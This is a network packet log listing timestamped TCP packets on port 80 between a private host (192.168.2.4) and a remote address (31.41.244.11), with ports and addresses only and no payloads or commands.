Dec 21, 2024 10:15:33.275439978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.275461912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.275568008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.276082993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.276200056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.276246071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.276268959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.277232885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.277278900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.277335882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.277335882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.277715921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.277796030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.277930975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.278549910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.278625965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.278754950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.278908014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.279371977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.279422998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.279465914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.279465914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.280214071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.280282021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.280411959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.280714989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.281028032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.281138897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.281160116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.281228065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.281816959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.281862020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.281943083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.281980038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.282680988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.282747984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.282763958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.282876968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.283471107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.283618927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.283700943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.284332037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.284394979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.284471989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.284535885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.285145998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.285245895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.285335064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.286016941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.286093950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.286118031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.286201954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.286799908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.286952019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.286974907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.287044048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.287590027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.287641048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.287729025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.288038015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.288435936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.288584948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.288602114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.288734913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.289324045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.289364100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.289401054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.289504051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.290111065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.290159941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.290222883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.290373087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.290987968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.291043043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.291069031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.291106939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.291723013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.291790009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.291907072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.291953087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.292576075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.292646885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.292706966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.293339968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.293404102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.442281961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.442339897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.442353964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.442400932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.442646980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.442725897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.442749977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.442827940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.443384886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.443473101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.443691969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.443897009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.443922043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.443975925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.444598913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.444693089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.444804907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.444909096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.445426941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.445476055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.445499897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.445549965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.446190119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.446295023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.446326971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.446326971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.447164059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.447175026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.447227955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.447846889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.448056936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.448081017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.448151112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.448656082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.448738098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.448800087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.448914051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.449490070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.449537992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.449604988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.449788094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.450325966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.450400114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.450422049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.450499058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.450499058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.451078892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.451181889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.451205015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.451303005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.451970100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.452069044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.452091932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.452153921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.452750921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.452824116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.452840090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.452912092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.453597069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.453656912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.453686953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.453762054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.454365969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.454530001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.454602003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.454694986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.455174923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.455270052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.455337048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.455451965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.456052065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.456197023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.456213951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.456336021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.456923008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.457046986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.457103014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.457691908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.457753897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.457775116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.457819939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.458513975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.458653927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.458712101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.459336996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.459410906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.459431887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.459543943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.460165977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.460233927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.460309029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.460963011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.461014986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.461498022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.461566925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.461777925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.461828947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.461904049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.461961031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.462635994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.462682009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.462795019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.462868929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.463536978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.463660002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.463680983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.463764906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.464238882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.464293003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.464379072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.464550018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.465068102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.465209007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.465231895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.465445995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.466110945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.466209888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.466236115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.466456890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.467025995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.467089891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.467113972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.467156887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.467585087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.467726946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.467750072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.467861891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.468396902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.468481064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.468501091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.468568087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.469203949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.469468117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.469490051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.469696999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.470026970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.470120907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.470144033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.470290899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.470846891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.470983028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.471045017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.471143007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.471662998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.471723080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.471756935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.471848011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.472685099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.472696066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.472727060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.472790956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.473433018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.473484993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.473515034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.473696947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.474164009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.474298000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.474533081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.474601030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.474970102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.475047112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.475076914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.475112915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.475827932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.475959063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.475979090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.476031065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.476684093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.476795912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.476811886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.476895094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.477482080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.477545977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.477583885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.477643967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.478270054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.478343010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.478383064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.478430033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.479130030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.479299068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.479326963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.479501009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.479921103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.479984999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.480042934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.480102062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.480715990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.480782986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.480840921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.480911970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.481597900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.481709957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.481750965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.482022047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.482383966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.482464075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.482485056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.482616901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.483217001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.483297110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.483330011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.483623028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.484102011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.484112978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.484185934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.484911919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.484921932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.484982014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.634886980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.634962082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.634982109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.635049105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.635086060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.635135889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.635210037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.635632992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.635962963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.636133909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.636240005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.636360884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.636781931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.636864901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.636893988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.636986971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.637701035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.637712955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.637782097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.638432026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.638545036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.638567924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.638650894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.639246941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.639286995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.639336109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.640064955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.640125990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.640150070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.640288115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.640914917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.641073942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.641113043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.641180992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.641709089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.641781092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.641812086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.641876936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.642515898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.642608881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.642723083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.642771959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.643362045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.643440008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.643505096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.643564939 CET	49808	80	192.168.2.4	31.41.244.11
